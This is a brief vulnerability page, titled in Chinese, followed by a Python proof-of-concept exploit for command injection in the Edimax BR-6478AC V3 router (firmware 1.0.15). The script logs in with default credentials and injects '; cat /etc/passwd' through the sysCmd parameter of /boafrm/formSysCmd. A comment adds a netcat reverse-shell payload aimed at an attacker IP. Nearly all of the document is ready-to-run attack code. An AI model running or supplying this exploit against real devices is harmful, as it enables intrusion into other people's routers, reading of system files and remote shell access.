CVE-2025-14094: Edimax BR-6478AC V3 命令注入漏洞

# CVE-2025-14094 PoC - Edimax BR-6478AC V3 OS Command Injection # Target: Edimax BR-6478AC V3 (Firmware 1.0.15) # Vulnerability: OS Command Injection in /boafrm/formSysCmd via sysCmd parameter import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" # Authentication credentials (default or compromised) username = "admin" password = "1234" # Login to get session cookie login_data = { "username": username, "password": password } session = requests.Session() login_url = f"{target}/boafrm/formLogin" response = session.post(login_url, data=login_data) # Check if login successful if response.status_code == 200: print("[+] Login successful") else: print("[-] Login failed") sys.exit(1) # Exploit: OS Command Injection via sysCmd parameter # Inject command to read /etc/passwd cmd_injection = "; cat /etc/passwd" exploit_url = f"{target}/boafrm/formSysCmd" exploit_data = { "sysCmd": cmd_injection } print(f"[*] Sending exploit payload: {cmd_injection}") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print("Response:") print(response.text) else: print("[-] Exploit failed") # Example: Reverse shell payload # cmd_injection = "; nc -e /bin/sh <attacker_ip> <port>"